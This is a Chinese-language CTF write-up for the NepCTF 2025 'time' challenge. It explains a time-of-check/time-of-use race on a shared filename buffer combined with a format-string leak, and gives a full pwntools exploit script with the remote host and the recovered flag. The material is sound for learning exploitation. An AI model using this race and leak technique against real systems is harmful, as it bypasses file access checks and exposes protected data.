从零开始的 Pwn 之旅 - 条件竞争

前言

条件竞争通常发生在多个线程或进程同时访问共享资源时,导致程序行为不可预测。

例题

NepCtf 2025 - time

1
2
3
4
5
6
7
8
9
~/P/n/time ❯❯❯ pwn checksec ./time                                                                                                                                   (.venv)
[*] '/home/lhon901/Pwn/nepctf2025/time/time'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF

  newthread[1] = __readfsqword(0x28u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  sub_2A31();
  while ( 1 )
  {
    while ( !(unsigned int)sub_2B0F() )
      ;
    pthread_create(newthread, 0, start_routine, 0);
  }
}


unsigned __int64 sub_2A31()
{
  char *argv[5]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("please input your name:");
  __isoc99_scanf("%100s", byte_50A0);
  puts("I will tell you all file names in the current directory!");
  argv[0] = "/bin/ls";
  argv[1] = "/";
  argv[2] = "-al";
  argv[3] = 0;
  if ( !fork() )
    execve("/bin/ls", argv, 0);
  wait(0);
  puts("good luck :-)");
  return v2 - __readfsqword(0x28u);
}


__int64 sub_2B0F()
{
  puts("input file name you want to read:");
  __isoc99_scanf("%s", file);
  if ( !strstr(file, "flag") )
    return 1;
  puts("flag is not allowed!");
  return 0;
}


unsigned __int64 __fastcall start_routine(void *a1)
{
  unsigned int v1; // eax
  int i; // [rsp+4h] [rbp-46Ch]
  int j; // [rsp+8h] [rbp-468h]
  int fd; // [rsp+Ch] [rbp-464h]
  _BYTE v6[96]; // [rsp+10h] [rbp-460h] BYREF
  _BYTE v7[16]; // [rsp+70h] [rbp-400h] BYREF
  _BYTE buf[1000]; // [rsp+80h] [rbp-3F0h] BYREF
  unsigned __int64 v9; // [rsp+468h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  sub_1329(v6);
  v1 = strlen(file);
  sub_1379(v6, file, v1);
  sub_14CB(v6, v7);
  puts("I will tell you last file name content in md5:");
  for ( i = 0; i <= 15; ++i )
    printf("%02X", (unsigned __int8)v7[i]);
  putchar(10);
  for ( j = 0; j <= 999; ++j )
    buf[j] = 0;
  fd = open(file, 0);
  if ( fd >= 0 )
  {
    read(fd, buf, 0x3E8u);
    close(fd);
    printf("hello ");
    printf(byte_50A0);
    puts(" ,your file read done!");
  }
  else
  {
    puts("file not found!");
  }
  return v9 - __readfsqword(0x28u);
}

程序只有这一个非栈上格式化字符串漏洞

1
    printf(byte_50A0);

这里本想使用格式化字符串去修改返回地址, 但是这里经过实际调试后发现 leave ret 后的地址在 libc 区域 没有办法使得控制流重定向到一直代码段

1
2
3
4
  puts("input file name you want to read:");
  __isoc99_scanf("%s", file);
  if ( !strstr(file, "flag") )
    return 1;

仔细观察代码发现,scanf 会把 filename 读入到 file (处于 bss 段) 中再检测
pthread_create 函数会创建多线程执行其中代码

1
2
3
4
5
6
7
8
9
fd = open(file, 0);
  if ( fd >= 0 )
  {
    read(fd, buf, 0x3E8u);
    close(fd);
    printf("hello ");
    printf(byte_50A0);
    puts(" ,your file read done!");
  }

pthread_create 函数中的 open 函数会使用 file 作为变量

我们可以输入其他文件名先来进入 pthread_create 函数, 在主线程上在 file 里持续写入 “flag” 作为文件名
pthread_create 函数执行到 open 函数时就有可能会打开 file 中的 “flag” 文件
文件内容被读取到栈上,我们可以配合格式化字符串漏洞拿下 flag

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
import threading

context.terminal = ["kitty", "@", "launch", "--type=window"]

# p = process("./time")
p = remote("nepctf32-2bpy-6959-ufjb-sj7njeura051.nepctf.com", 443, ssl=True)

p.recvuntil(b"please input your name:")
payload = b"%22$p-%23$p-%24$p-%25$p-%26$p-%27$p-%28$p-%29$p-%30$p"
p.sendline(payload)
sleep(1)


def work():
    for _ in range(1000):
        try:
            p.sendline(b"/flag")
        except Exception as e:
            continue


t = threading.Thread(target=work)
t.start()
p.recvuntil(b"input file name you want to read:")

for _ in range(1000):
    try:
        p.sendline(b"/hint")
    except Exception as e:
        continue


# gdb.attach(
#     p,
#     gdbscript="""
# b *$rebase(0x2cd1)
# c
# """,
# )

# hint.txt: flag will tell you the truth about time!

p.interactive()

# hello 0x637b46544370654e-0x2d32396661303734-0x3062372d63613135-0x382d326236612d38-0x3636623734323763-0xa7d376164-(nil)-(nil)-(nil) ,your file read done!
# flag: NepCTF{c470af92-51ac-7b08-a6b2-8c7247b66da7}